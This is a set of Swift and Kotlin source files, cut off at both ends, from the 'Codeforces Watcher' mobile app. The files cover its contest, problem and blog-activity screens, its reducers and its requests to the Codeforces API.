contestLabel.run {
$0.topToBottom(of: nameLabel, offset: 4)
$0.leadingToSuperview(offset: 8)
$0.trailingToSuperview(offset: 48)
}
}
func bind(_ problemItem: ProblemItem) {
nameLabel.text = problemItem.title
contestLabel.text = problemItem.round
}
}
<file_sep>//
// ActionItem.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/8/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import HTMLString
enum ActionItem {
struct CommentItem {
var shareText: String
var link: String
var commentatorHandle: NSMutableAttributedString
var blogTitle: String
var content: String
var time: String
var commentatorAvatar: String
init(action: CFAction, rank: String?, avatar: String) {
self.blogTitle = action.blogEntry.title!.beautify()
self.time = TimeInterval((Int(Date().timeIntervalSince1970) - Int(action.timeSeconds!))).socialDate ?? ""
self.content = action.comment!.text!.beautify()
self.commentatorHandle = colorTextByUserRank(text: action.comment!.commentatorHandle!, rank: rank)
self.commentatorAvatar = "https:" + avatar
self.link = "\(codeforcesLink)blog/entry/\(action.blogEntry.id!)?#comment-\(action.comment!.id!)"
self.shareText = """
\(blogTitle) - \(link)
Shared through Codeforces Watcher. Find it on App Store.
"""
}
}
struct BlogEntryItem {
var shareText: String
var link: String
var authorHandle: NSMutableAttributedString
var blogTitle: String
var time: String
var authorAvatar: String
init(action: CFAction, rank: String?, avatar: String) {
self.blogTitle = action.blogEntry.title!.beautify()
self.time = TimeInterval((Int(Date().timeIntervalSince1970) - Int(action.timeSeconds!))).socialDate ?? ""
self.authorHandle = colorTextByUserRank(text: action.blogEntry!.authorHandle!, rank: rank)
self.authorAvatar = "https:" + avatar
self.link = "\(codeforcesLink)blog/entry/\(action.blogEntry.id!)"
self.shareText = """
\(blogTitle) - \(link)
Shared through Codeforces Watcher. Find it on App Store.
"""
}
}
case comment(CommentItem)
case blogEntry(BlogEntryItem)
}
<file_sep>//
// CodeforcesContestsResponse.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/15/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import ObjectMapper
struct CodeforcesContestsResponse: Mappable {
var contests: [CodeforcesContest] = []
init?(map: Map) {}
mutating func mapping(map: Map) {
contests <- map["result"]
}
}
<file_sep>//
// FiltersTableViewController.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/28/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import UIKit
class FiltersTableViewAdapter: NSObject, UITableViewDelegate, UITableViewDataSource {
func numberOfSections(in tableView: UITableView) -> Int {
return 1
}
func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
return Platform.allCases.count - 2
}
func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
return tableView.dequeueReusableCell(cellType: FilterTableViewCell.self).apply {
let platform = Platform.allCases[indexPath.row]
$0.bind(platform: platform) { isOn in
store.dispatch(FilterChangeAction(platform: platform, isOn: isOn))
}
}
}
}
<file_sep>//
// CodeforcesContest.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/15/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import ObjectMapper
struct CodeforcesContest: Mappable {
var startTimeSeconds: Double!
var durationSeconds: Double!
var name: String!
var phase: String!
var id: Int!
init?(map: Map) {}
mutating func mapping(map: Map) {
startTimeSeconds <- map["startTimeSeconds"]
durationSeconds <- map["durationSeconds"]
name <- map["name"]
phase <- map["phase"]
id <- map["id"]
}
}
<file_sep>package com.bogdan.codeforceswatcher.features.actions
import android.content.Context
import android.text.TextUtils
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.ImageView
import android.widget.TextView
import androidx.recyclerview.widget.RecyclerView
import com.bogdan.codeforceswatcher.CwApp
import com.bogdan.codeforceswatcher.R
import com.bogdan.codeforceswatcher.features.actions.models.ActionItem
import com.bogdan.codeforceswatcher.util.Analytics
import com.squareup.picasso.Picasso
import io.xorum.codeforceswatcher.features.actions.redux.requests.ActionsRequests
import io.xorum.codeforceswatcher.redux.store
import kotlinx.android.synthetic.main.view_blog_entry_item.view.*
import kotlinx.android.synthetic.main.view_comment_item.view.*
import kotlinx.android.synthetic.main.view_comment_item.view.tvContent
import kotlinx.android.synthetic.main.view_comment_item.view.tvHandleAndTime
import kotlinx.android.synthetic.main.view_comment_item.view.tvTitle
import kotlinx.android.synthetic.main.view_pinned_action.view.*
import org.ocpsoft.prettytime.PrettyTime
import java.util.*
class ActionsAdapter(
private val context: Context,
private val itemClickListener: (String, String) -> Unit
) : RecyclerView.Adapter<RecyclerView.ViewHolder>() {
private var items: List<ActionItem> = listOf()
override fun getItemCount() = items.size
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int) =
when (viewType) {
STUB_VIEW_TYPE -> {
val layout = LayoutInflater.from(context).inflate(R.layout.view_actions_stub, parent, false)
StubViewHolder(layout)
}
COMMENT_VIEW_TYPE -> {
val layout = LayoutInflater.from(context).inflate(R.layout.view_comment_item, parent, false)
CommentViewHolder(layout)
}
PINNED_ITEM_VIEW_TYPE -> {
val layout = LayoutInflater.from(context).inflate(R.layout.view_pinned_action, parent, false)
PinnedItemViewHolder(layout)
}
else -> {
val layout = LayoutInflater.from(context).inflate(R.layout.view_blog_entry_item, parent, false)
BlogEntryViewHolder(layout)
}
}
override fun getItemViewType(position: Int): Int {
return when {
items[position] is ActionItem.Stub -> STUB_VIEW_TYPE
items[position] is ActionItem.CommentItem -> COMMENT_VIEW_TYPE
items[position] is ActionItem.PinnedItem -> PINNED_ITEM_VIEW_TYPE
else -> BLOG_ENTRY_VIEW_TYPE
}
}
override fun onBindViewHolder(viewHolder: RecyclerView.ViewHolder, position: Int) {
when (val item = items[position]) {
is ActionItem.Stub -> return
is ActionItem.PinnedItem -> bindPinnedItem(viewHolder as PinnedItemViewHolder, item)
is ActionItem.CommentItem -> bindComment(viewHolder as CommentViewHolder, item)
is ActionItem.BlogEntryItem -> bindBlogEntry(viewHolder as BlogEntryViewHolder, item)
}
}
private fun bindComment(viewHolder: CommentViewHolder, comment: ActionItem.CommentItem) = with(comment) {
with(viewHolder) {
tvTitle.text = title
tvHandleAndTime.text = TextUtils.concat(commentatorHandle, " - ${PrettyTime().format(Date(time * 1000))}")
tvContent.text = content
onItemClickListener = {
itemClickListener(comment.link, comment.title)
}
}
Picasso.get().load(commentatorAvatar)
.placeholder(R.drawable.no_avatar)
.into(viewHolder.ivAvatar)
}
private fun bindBlogEntry(viewHolder: BlogEntryViewHolder, blogEntry: ActionItem.BlogEntryItem) = with(blogEntry) {
with(viewHolder) {
tvTitle.text = blogTitle
tvHandleAndTime.text = TextUtils.concat(authorHandle, " - ${PrettyTime().format(Date(time * 1000))}")
tvContent.text = CwApp.app.getString(R.string.created_or_updated_text)
onItemClickListener = {
itemClickListener(blogEntry.link, blogEntry.blogTitle)
}
}
Picasso.get().load(authorAvatar)
.placeholder(R.drawable.no_avatar)
.into(viewHolder.ivAvatar)
}
private fun bindPinnedItem(viewHolder: PinnedItemViewHolder, pinnedItem: ActionItem.PinnedItem) = with(pinnedItem) {
with(viewHolder) {
tvTitle.text = title
onItemClickListener = {
itemClickListener(pinnedItem.link, pinnedItem.title)
Analytics.logPinnedPostOpened()
}
onCrossClickListener = {
store.dispatch(ActionsRequests.RemovePinnedPost(pinnedItem.link))
Analytics.logPinnedPostClosed()
}
}
}
fun setItems(actionsList: List<ActionItem>) {
items = if (actionsList.isEmpty() || (actionsList.size == 1 && actionsList.first() is ActionItem.PinnedItem)) listOf(ActionItem.Stub)
else actionsList
notifyDataSetChanged()
}
class PinnedItemViewHolder(view: View) : RecyclerView.ViewHolder(view) {
val tvTitle: TextView = view.tvTitle
var onItemClickListener: (() -> Unit)? = null
var onCrossClickListener: (() -> Unit)? = null
init {
view.setOnClickListener {
onItemClickListener?.invoke()
}
view.ivCross.setOnClickListener {
onCrossClickListener?.invoke()
}
}
}
class CommentViewHolder(view: View) : RecyclerView.ViewHolder(view) {
val tvHandleAndTime: TextView = view.tvHandleAndTime
val tvTitle: TextView = view.tvTitle
val tvContent: TextView = view.tvContent
val ivAvatar: ImageView = view.ivCommentatorAvatar
var onItemClickListener: ((Int) -> Unit)? = null
init {
view.setOnClickListener {
onItemClickListener?.invoke(adapterPosition)
}
}
}
class BlogEntryViewHolder(view: View) : RecyclerView.ViewHolder(view) {
val tvHandleAndTime: TextView = view.tvHandleAndTime
val tvTitle: TextView = view.tvTitle
val tvContent: TextView = view.tvContent
val ivAvatar: ImageView = view.ivAuthorAvatar
var onItemClickListener: ((Int) -> Unit)? = null
init {
view.setOnClickListener {
onItemClickListener?.invoke(adapterPosition)
}
}
}
data class StubViewHolder(val view: View) : RecyclerView.ViewHolder(view)
companion object {
const val STUB_VIEW_TYPE = 0
const val COMMENT_VIEW_TYPE = 1
const val BLOG_ENTRY_VIEW_TYPE = 2
const val PINNED_ITEM_VIEW_TYPE = 3
}
}<file_sep>//
// Created by <NAME> on 11/01/2020.
// Copyright (c) 2020 xorum.io. All rights reserved.
//
import Foundation
import ReSwift
func appReducer(action: Action, state: AppState?) -> AppState {
guard let state = state else { fatalError() }
return AppState(
actions: actionsReducer(action, state),
contests: contestsReducer(action, state),
problems: problemsReducer(action, state)
)
}
func actionsReducer(_ action: Action, _ state: AppState) -> ActionsState {
var newState = state.actions
switch (action) {
case _ as ActionsRequests.FetchActions:
newState.status = ActionsState.Status.PENDING
case let action as ActionsRequests.FetchActions.Success:
newState.actionItems = action.actionItems
newState.status = ActionsState.Status.IDLE
case _ as ActionsRequests.FetchActions.Failure:
newState.status = ActionsState.Status.IDLE
default:
break
}
return newState
}
func contestsReducer(_ action: Action, _ state: AppState) -> ContestsState {
var newState = state.contests
switch (action) {
case _ as ContestsRequests.FetchAllContests,
_ as ContestsRequests.FetchCodeforcesContests:
newState.status = ContestsState.Status.PENDING
case let action as ContestsRequests.FetchCodeforcesContests.Success:
newState.contestItems = action.contestItems
case _ as ContestsRequests.FetchCodeforcesContests.Failure:
newState.status = ContestsState.Status.IDLE
case let action as ContestsRequests.FetchAllContests.Success:
newState.contestItems += action.contestItems
newState.status = ContestsState.Status.IDLE
case _ as ContestsRequests.FetchAllContests.Failure:
newState.status = ContestsState.Status.IDLE
case let action as FilterChangeAction:
newState.filters[action.platform] = action.isOn
PersistenceController.saveContestsFilters(filters: newState.filters)
default:
break
}
return newState
}
func problemsReducer(_ action: Action, _ state: AppState) -> ProblemsState {
var newState = state.problems
switch (action) {
case _ as ProblemsRequests.FetchProblems:
newState.status = ProblemsState.Status.PENDING
case let action as ProblemsRequests.FetchProblems.Success:
newState.problemItems = action.problemItems
newState.status = ProblemsState.Status.IDLE
case _ as ProblemsRequests.FetchProblems.Failure:
newState.status = ProblemsState.Status.IDLE
default:
break
}
return newState
}
<file_sep>package io.xorum.codeforceswatcher.network.responses
import io.xorum.codeforceswatcher.features.actions.models.CFAction
import kotlinx.serialization.Serializable
@Serializable
data class ActionsResponse(
val status: String,
val result: List<CFAction>
)<file_sep>//
// Created by <NAME> on 11/01/2020.
// Copyright (c) 2020 xorum.io. All rights reserved.
//
import Foundation
extension String {
mutating func deleteHtmlTags() {
self = self.replacingOccurrences(of: "<[^>]+>", with: "", options: .regularExpression, range: nil)
}
func beautify() -> String {
var newString = self
newString.deleteHtmlTags()
newString = newString.removingHTMLEntities
newString = newString.replacingOccurrences(of: "$$$", with: "")
return newString
}
var localized: String {
let string = NSLocalizedString(self, comment: "")
if
string == self, //the translation was not found
let baseLanguagePath = Bundle.main.path(forResource: "Base", ofType: "lproj"),
let baseLangBundle = Bundle(path: baseLanguagePath) {
return NSLocalizedString(self, bundle: baseLangBundle, comment: "")
} else {
return string
}
}
func dateStringToDate() -> Date {
let formatter = DateFormatter().apply {
$0.dateFormat = "yyyy-MM-dd'T'HH:mm:ss.SSSZ"
}
return formatter.date(from: self)!
}
}
<file_sep>//
// Created by <NAME> on 11/01/2020.
// Copyright (c) 2020 xorum.io. All rights reserved.
//
import Foundation
import ReSwift
protocol Request: Action {
func execute()
}
<file_sep>//
// ProblemsRequests.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/20/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import Alamofire
import ReSwift
struct ProblemsRequests {
struct FetchProblems: Request {
func execute() {
let request = Alamofire.request("\(codeforcesApiLink)problemset.problems", parameters: ["lang": "en"])
request.validate().responseString { response in
switch response.result {
case .success:
self.handleSuccess(response)
case .failure:
self.handleFailure()
}
}
}
func handleSuccess(_ response: DataResponse <String>) {
if let json = response.result.value, let problemsResponse = ProblemsResponse(JSONString: json)?.problems {
print("Success fetching english problems")
let englishProblemItems = mapProblems(problems: problemsResponse)
ProblemsRequests.FetchRussianProblems().execute() { russianProblemItems in
let problemItems: [ProblemItem] = self.mergeProblemItems( englishProblemItems, russianProblemItems)
store.dispatch(Success(problemItems: problemItems))
}
} else {
self.handleFailure()
}
}
func mapProblems(problems: [Problem]) -> [ProblemItem] {
var contestNameByIdDict: [Int: String] = [:]
for contest in store.state.contests.contestItems {
if let id = contest.id {
contestNameByIdDict[id] = contest.name
}
}
var problemItems: [ProblemItem] = []
for problem in problems {
problemItems.append(ProblemItem(problem: problem, roundName: contestNameByIdDict[problem.contestId]))
}
return problemItems
}
func mergeProblemItems(_ englishProblemItems: [ProblemItem], _ russianProblemItems: [ProblemItem]) -> [ProblemItem] {
var problemItems: [ProblemItem] = []
for index in 0..<englishProblemItems.count {
problemItems.append(ProblemItem(englishProblemItem: englishProblemItems[index], russianTitle: russianProblemItems[index].title))
}
return problemItems
}
func handleFailure() {
store.dispatch(Failure(message: "No connection".localized))
}
struct Success: Action {
var problemItems: [ProblemItem]
}
struct Failure: MessageAction {
var message: String
}
}
struct FetchRussianProblems {
func execute(completion: @escaping ([ProblemItem]) -> ()) {
let request = Alamofire.request("\(codeforcesApiLink)problemset.problems", parameters: ["lang": "ru"])
request.validate().responseString { response in
switch response.result {
case .success:
self.handleSuccess(response, completion)
case .failure:
self.handleFailure()
}
}
}
func handleSuccess(_ response: DataResponse <String>, _ completion: @escaping ([ProblemItem]) -> ()) {
if let json = response.result.value, let problemsResponse = ProblemsResponse(JSONString: json)?.problems {
print("Success fetching russian problems")
let problemItems = mapProblems(problems: problemsResponse)
DispatchQueue.main.async { completion(problemItems) }
} else {
self.handleFailure()
}
}
func mapProblems(problems: [Problem]) -> [ProblemItem] {
var contestNameByIdDict: [Int: String] = [:]
for contest in store.state.contests.contestItems {
if let id = contest.id {
contestNameByIdDict[id] = contest.name
}
}
var problemItems: [ProblemItem] = []
for problem in problems {
problemItems.append(ProblemItem(problem: problem, roundName: contestNameByIdDict[problem.contestId]))
}
return problemItems
}
func handleFailure() {
store.dispatch(Failure(message: "No connection".localized))
}
struct Success: Action {
var problemItems: [ProblemItem]
}
struct Failure: MessageAction {
var message: String
}
}
}
<file_sep>package io.xorum.codeforceswatcher.features.add_user.redux.reducers
import io.xorum.codeforceswatcher.features.add_user.redux.actions.AddUserActions
import io.xorum.codeforceswatcher.features.add_user.redux.requests.AddUserRequests
import io.xorum.codeforceswatcher.features.add_user.redux.states.AddUserState
import io.xorum.codeforceswatcher.redux.states.AppState
import tw.geothings.rekotlin.Action
fun addUserReducer(action: Action, state: AppState): AddUserState {
var newState = state.addUserState
when (action) {
is AddUserRequests.AddUser -> {
newState = newState.copy(status = AddUserState.Status.PENDING)
}
is AddUserRequests.AddUser.Success -> {
newState = newState.copy(status = AddUserState.Status.DONE)
}
is AddUserRequests.AddUser.Failure -> {
newState = newState.copy(status = AddUserState.Status.IDLE)
}
is AddUserActions.ClearAddUserState -> {
newState = newState.copy(status = AddUserState.Status.IDLE)
}
}
return newState
}
<file_sep>//
// FetchActionsRequest.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/2/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import Alamofire
import ReSwift
struct ActionsRequests {
struct FetchActions: Request {
func execute() {
let request = Alamofire.request("\(codeforcesApiLink)recentActions?maxCount=100")
request.validate().responseString { response in
switch response.result {
case .success:
self.handleSuccess(response)
case .failure:
self.handleFailure()
}
}
}
func mapActions(users: [User], actions: [CFAction]) -> [ActionItem] {
var actionItems: [ActionItem] = []
for (index, action) in actions.enumerated() {
let isComment: Bool = (action.comment == nil ? false : true)
let userRank = users[index].rank
let avatar = users[index].avatar!
if (isComment) {
actionItems.append(
ActionItem.comment(ActionItem.CommentItem(action: action, rank: userRank, avatar: avatar)))
} else {
if (action.timeSeconds != action.blogEntry.creationTimeSeconds &&
action.timeSeconds != action.blogEntry.modificationTimeSeconds) {
continue;
}
actionItems.append(
ActionItem.blogEntry(ActionItem.BlogEntryItem(action: action, rank: userRank, avatar: avatar)))
}
}
return actionItems
}
func handleSuccess(_ response: DataResponse <String>) {
if let json = response.result.value, let actionsResponse = ActionsResponse(JSONString: json)?.actions {
print("Success fetching actions")
let handlesString = FetchUsersRequest.buildHandlesString(actions: actionsResponse)
FetchUsersRequest().execute(handles: handlesString) { usersResponse in
let actionItems: [ActionItem] = self.mapActions(users: usersResponse, actions: actionsResponse)
store.dispatch(Success(actionItems: actionItems))
}
} else {
self.handleFailure()
}
}
func handleFailure() {
store.dispatch(Failure(message: "No connection".localized))
}
struct Success: Action {
var actionItems: [ActionItem]
}
struct Failure: MessageAction {
var message: String
}
}
}
<file_sep>package io.xorum.codeforceswatcher.features.actions.models
import kotlinx.serialization.Serializable
@Serializable
data class BlogEntry(
val id: Int,
var title: String,
val content: String? = null,
val authorHandle: String,
var authorRank: String? = null,
var authorAvatar: String? = null,
val creationTimeSeconds: Long,
val modificationTimeSeconds: Long
)
<file_sep>//
// ContestsViewController.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/15/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import UIKit
import ReSwift
import EventKit
import FirebaseAnalytics
class ContestsViewController: UIViewController, StoreSubscriber {
private let contestsRulesView = ContestsRulesView()
private let tableView = UITableView()
private let tableAdapter = ContestsTableViewAdapter()
private let refreshControl = UIRefreshControl()
override func viewDidLoad() {
super.viewDidLoad()
setupView()
setupTableView()
}
override func viewWillAppear(_ animated: Bool) {
super.viewWillAppear(animated)
store.subscribe(self) { subcription in
subcription.select { state in state.contests }
}
}
override func viewWillDisappear(_ animated: Bool) {
super.viewWillDisappear(animated)
store.unsubscribe(self)
}
func setupView() {
view.backgroundColor = .white
buildViewTree()
setConstraints()
navigationItem.rightBarButtonItem = UIBarButtonItem(image: UIImage(named: "filterIcon"), style: .plain, target: self, action: #selector(filterTapped))
contestsRulesView.addGestureRecognizer(UITapGestureRecognizer(target: self, action: #selector(self.contestsRulesTapped)))
}
@objc func filterTapped(sender: Any) {
let filtersViewController = FiltersViewController()
self.navigationController?.pushViewController(filtersViewController, animated: true)
}
@objc func contestsRulesTapped(sender: Any) {
let webViewController = WebViewController().apply {
$0.link = "https://codeforces.com/blog/entry/4088"
$0.shareText = """
Check Official Codeforces rules
Shared through Codeforces Watcher. Find it on App Store.
"""
}
self.navigationController?.pushViewController(webViewController, animated: true)
}
func saveContestEvent(eventStore: EKEventStore, contest: ContestItem, completion: ((Bool, NSError?) -> Void)?) {
let event = EKEvent(eventStore: eventStore)
event.title = contest.name
event.startDate = contest.startDate
event.endDate = contest.endDate
event.calendar = eventStore.defaultCalendarForNewEvents
do {
try eventStore.save(event, span: .thisEvent)
} catch let e as NSError {
completion?(false, e)
return
}
completion?(true, nil)
}
func addEventToCalendar(_ contest: ContestItem, completion: ((Bool, NSError?) -> Void)?) {
let eventStore = EKEventStore()
if (EKEventStore.authorizationStatus(for: .event) != EKAuthorizationStatus.authorized) {
eventStore.requestAccess(to: .event, completion: { (granted, error) in
if (granted) && (error == nil) {
self.saveContestEvent(eventStore: eventStore, contest: contest, completion: { success, NSError in
completion?(success, NSError)
})
} else {
completion?(false, error as NSError?)
}
})
} else {
saveContestEvent(eventStore: eventStore, contest: contest, completion: { success, NSError in
completion?(success, NSError)
})
}
}
func showAlertWithOK(title: String, message: String) {
let alertController = UIAlertController(title: title, message: message, preferredStyle: .alert)
let okButton = UIAlertAction(title: "OK", style: .cancel)
alertController.addAction(okButton)
self.present(alertController, animated: true, completion: nil)
}
func setupTableView() {
tableView.run {
$0.delegate = tableAdapter
$0.dataSource = tableAdapter
$0.separatorStyle = .none
}
tableAdapter.onCalendarTap = { contest in
self.addEventToCalendar(contest) { success, NSError in
if (success) {
DispatchQueue.main.async{
Analytics.logEvent("add_contest_to_google_calendar", parameters: [:])
self.showAlertWithOK(title: contest.name, message: "Has been added to your calendar".localized)
}
} else {
DispatchQueue.main.async{
self.showAlertWithOK(title: "Can't add contest to Calendar without permission".localized, message: "Enable it in Settings, please".localized)
}
}
}
}
[ContestTableViewCell.self, NoContestsTableViewCell.self].forEach(tableView.registerForReuse(cellType:))
tableAdapter.onContestClick = { (contest) in
let webViewController = WebViewController().apply {
$0.link = contest.link
$0.shareText = contest.shareText
$0.openEventName = "contest_opened"
$0.shareEventName = "contest_shared"
}
self.navigationController?.pushViewController(webViewController, animated: true)
}
tableView.refreshControl = refreshControl
refreshControl.run {
$0.addTarget(self, action: #selector(refreshContests(_:)), for: .valueChanged)
$0.tintColor = Pallete.colorPrimaryDark
}
}
@objc private func refreshContests(_ sender: Any) {
Analytics.logEvent("contests_list_refresh", parameters: [:])
fetchContests()
}
func newState(state: ContestsState) {
if (state.status == ContestsState.Status.IDLE) {
refreshControl.endRefreshing()
}
tableAdapter.contestItems = state.contestItems
.filter { $0.phase == "BEFORE" }
.filter {
return state.filters[$0.site]!
}
tableAdapter.contestItems.sort(by: {
$0.startDate < $1.startDate
})
tableView.reloadData()
}
func fetchContests() {
store.dispatch(ContestsRequests.FetchCodeforcesContests())
}
func buildViewTree() {
view.addSubview(tableView)
tableView.tableHeaderView = contestsRulesView
}
func setConstraints() {
tableView.run {
$0.edgesToSuperview()
$0.tableHeaderView?.widthToSuperview()
}
contestsRulesView.run {
$0.setNeedsLayout()
$0.layoutIfNeeded()
}
}
}
<file_sep>package io.xorum.codeforceswatcher.network
import io.ktor.client.HttpClient
import io.ktor.client.features.defaultRequest
import io.ktor.client.features.json.Json
import io.ktor.client.features.json.serializer.KotlinxSerializer
import io.ktor.client.features.logging.DEFAULT
import io.ktor.client.features.logging.LogLevel
import io.ktor.client.features.logging.Logger
import io.ktor.client.features.logging.Logging
import io.ktor.client.request.get
import io.ktor.http.URLProtocol
import io.xorum.codeforceswatcher.network.responses.PinnedPost
import kotlinx.serialization.UnstableDefault
import kotlinx.serialization.json.Json.Companion.nonstrict
private const val API_LINK = "5e80f1750eb3ec0016e917ff.mockapi.io/api/v1/pinned_post"
internal object PinnedPostsApiClient {
private val pinnedPostApiClient = makePinnedPostApiClient()
suspend fun getPinnedPost() = try {
pinnedPostApiClient.get<PinnedPost>()
} catch (t: Throwable) {
null
}
@UseExperimental(UnstableDefault::class)
private fun makePinnedPostApiClient(): HttpClient = HttpClient {
expectSuccess = false
defaultRequest {
url {
host = API_LINK
protocol = URLProtocol.HTTPS
}
}
Json {
serializer = KotlinxSerializer(json = nonstrict)
}
Logging {
logger = Logger.DEFAULT
level = LogLevel.INFO
}
}
}
<file_sep>package io.xorum.codeforceswatcher.features.actions.models
import kotlinx.serialization.Serializable
@Serializable
data class Comment(
val id: Long,
var text: String,
val commentatorHandle: String,
var commentatorAvatar: String? = null,
var commentatorRank: String? = null
)
<file_sep>//
// CommonContest.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/27/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import ObjectMapper
struct CommonContest: Mappable {
var name: String!
var phase: String!
var startTime: String!
var endTime: String!
var durationSeconds: Double!
var site: Platform!
var link: String!
init?(map: Map) {}
mutating func mapping(map: Map) {
name <- map["name"]
phase <- map["status"]
startTime <- map["start_time"]
durationSeconds <- map["duration"]
site <- map["site"]
endTime <- map["end_time"]
link <- map["url"]
}
}
<file_sep>//
// ContestSource.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/28/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
enum Platform: String, CaseIterable {
case codeforces = "CodeForces"
case topCoder = "TopCoder"
case atCoder = "AtCoder"
case CSAcademy = "CS Academy"
case codeChef = "CodeChef"
case hakerRank = "HackerRank"
case hakerEarth = "HackerEarth"
case kickStart = "Kick Start"
case leetCode = "LeetCode"
case A2OJ = "A2OJ"
case codeforcesGym = "CodeForces::Gym"
}
<file_sep>//
// ContestsRequests.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/16/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import Alamofire
import ReSwift
import ObjectMapper
struct ContestsRequests {
struct FetchCodeforcesContests: Request {
func execute() {
let request = Alamofire.request("\(codeforcesApiLink)contest.list", parameters: ["lang": "en"])
request.validate().responseString { response in
switch response.result {
case .success:
self.handleSuccess(response)
case .failure:
self.handleFailure()
}
}
}
func handleSuccess(_ response: DataResponse <String>) {
if let json = response.result.value, let contestsResponse = CodeforcesContestsResponse(JSONString: json)?.contests {
let contestItems = mapContests(contests: contestsResponse)
store.dispatch(Success(contestItems: contestItems))
} else {
self.handleFailure()
}
}
func mapContests(contests: [CodeforcesContest]) -> [ContestItem] {
var contestItems: [ContestItem] = []
for contest in contests {
contestItems.append(ContestItem(contest))
}
return contestItems.reversed()
}
func handleFailure() {
store.dispatch(Failure(message: "No connection".localized))
}
struct Success: Action {
var contestItems: [ContestItem]
}
struct Failure: MessageAction {
var message: String
}
}
struct FetchAllContests: Request {
func execute() {
let request = Alamofire.request("\(kontestsApiLink)all")
request.validate().responseString { response in
switch response.result {
case .success:
self.handleSuccess(response)
case .failure:
self.handleFailure()
}
}
}
func handleSuccess(_ response: DataResponse <String>) {
if let json = response.result.value, let contestsResponse = Mapper<CommonContest> ().mapArray(JSONString: json) {
print("Success fetching all contests")
let contestItems = mapContests(contests: contestsResponse)
store.dispatch(Success(contestItems: contestItems))
} else {
self.handleFailure()
}
}
func mapContests(contests: [CommonContest]) -> [ContestItem] {
var contestItems: [ContestItem] = []
for contest in contests {
if (contest.site != .codeforces && contest.site != .codeforcesGym && contest.site != .A2OJ) {
contestItems.append(ContestItem(contest))
}
}
return contestItems
}
func handleFailure() {
store.dispatch(Failure(message: "No connection".localized))
}
struct Success: Action {
var contestItems: [ContestItem]
}
struct Failure: MessageAction {
var message: String
}
}
}
<file_sep>package io.xorum.codeforceswatcher.redux.middlewares
import io.xorum.codeforceswatcher.redux.Request
import kotlinx.coroutines.CoroutineScope
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.launch
import tw.geothings.rekotlin.Middleware
import tw.geothings.rekotlin.StateType
val appMiddleware: Middleware<StateType> = { _, _ ->
{ next ->
{ action ->
CoroutineScope(Dispatchers.Main).launch {
(action as? Request)?.execute()
}
next(action)
}
}
}
<file_sep>package io.xorum.codeforceswatcher.redux.reducers
import io.xorum.codeforceswatcher.features.actions.redux.reducers.actionsReducer
import io.xorum.codeforceswatcher.features.add_user.redux.reducers.addUserReducer
import io.xorum.codeforceswatcher.features.users.redux.reducers.usersReducer
import io.xorum.codeforceswatcher.features.problems.redux.reducers.problemsReducer
import io.xorum.codeforceswatcher.features.contests.redux.reducers.contestsReducer
import io.xorum.codeforceswatcher.redux.states.AppState
import tw.geothings.rekotlin.Action
fun appReducer(action: Action, state: AppState?): AppState {
requireNotNull(state)
return AppState(
contests = contestsReducer(action, state),
users = usersReducer(action, state),
actions = actionsReducer(action, state),
problems = problemsReducer(action, state),
addUserState = addUserReducer(action, state)
)
}
<file_sep>//
// ProblemsViewController.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/17/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import UIKit
import ReSwift
import FirebaseAnalytics
class ProblemsViewController: UIViewController, StoreSubscriber, UISearchResultsUpdating {
private let tableView = UITableView()
private let tableAdapter = ProblemsTableViewAdapter()
private let refreshControl = UIRefreshControl()
private let searchController = UISearchController(searchResultsController: nil)
override func viewDidLoad() {
super.viewDidLoad()
setupView()
setupTableView()
setupSearchView()
}
override func viewWillAppear(_ animated: Bool) {
super.viewWillAppear(animated)
store.subscribe(self) { subcription in
subcription.select { state in state.problems }
}
}
override func viewWillDisappear(_ animated: Bool) {
super.viewWillDisappear(animated)
store.unsubscribe(self)
}
func setupView() {
view.backgroundColor = .white
buildViewTree()
setConstraints()
}
func setupTableView() {
tableView.run {
$0.delegate = tableAdapter
$0.dataSource = tableAdapter
$0.separatorStyle = .none
}
[ProblemTableViewCell.self, NoProblemsTableViewCell.self].forEach(tableView.registerForReuse(cellType:))
tableAdapter.onProblemClick = { (link, shareText) in
let webViewController = WebViewController().apply {
$0.link = link
$0.shareText = shareText
$0.openEventName = "problem_opened"
$0.shareEventName = "problem_shared"
}
self.searchController.isActive = false
self.navigationController?.pushViewController(webViewController, animated: true)
}
tableView.refreshControl = refreshControl
refreshControl.run {
$0.addTarget(self, action: #selector(refreshProblems(_:)), for: .valueChanged)
$0.tintColor = Pallete.colorPrimaryDark
}
}
func setupSearchView() {
searchController.run {
$0.searchResultsUpdater = self
$0.obscuresBackgroundDuringPresentation = false
$0.hidesNavigationBarDuringPresentation = false
$0.searchBar.run {
$0.placeholder = "Search for problems...".localized
$0.returnKeyType = .done
$0.tintColor = .darkGray
$0.barStyle = .default
$0.searchBarStyle = .minimal
$0.backgroundColor = .white
}
}
tableView.tableHeaderView = searchController.searchBar
}
func updateSearchResults(for searchController: UISearchController) {
guard let text = searchController.searchBar.text else { return }
var filteredProblemItems: [ProblemItem] = []
for problem in store.state.problems.problemItems {
if (problem.round.lowercased().contains(text.lowercased()) || problem.englishTitle.lowercased().contains(text.lowercased()) ||
